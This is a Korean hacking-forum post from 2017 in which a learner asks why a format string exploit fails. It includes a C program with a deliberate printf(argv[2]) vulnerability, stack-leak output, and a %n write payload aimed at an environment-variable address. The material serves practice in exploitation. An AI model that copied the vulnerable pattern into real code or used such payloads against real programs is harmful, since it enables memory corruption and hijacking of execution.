시스템 해킹

 1576, 1/79 회원가입  로그인  
   ewqqw
   format string 버퍼오버플로우

http://www.hackerschool.org/HS_Boards/zboard.php?AllArticle=true&no=1868 [복사]



#include <stdio.h>
#include <string.h>



int main(int argc,char *argv[]) {
        char buf1[100];

        strncpy(buf1,argv[1],100);

        printf(argv[2]);

        return 0;
}

formatstr@ubuntu:~$ ./formatstr AAAA '%x%x%x%x%x%x%x'
bffff7c3640bffff614bffff588bffff58041414141

format : 0xbffffe9f  <-- 환경변수[format] 주소

여기에서 ./formatstr AAAA\x9f\xfe\xff\xbfAAAA\xa1\xfe\xff\xbfAAAA%8x%8x%8x%8x%8x%8x%65054c%n%49565c%n 이렇게 했는데....

안되네요.. ㅠㅠ





  Hit : 2898     Date : 2017/04/22 04:34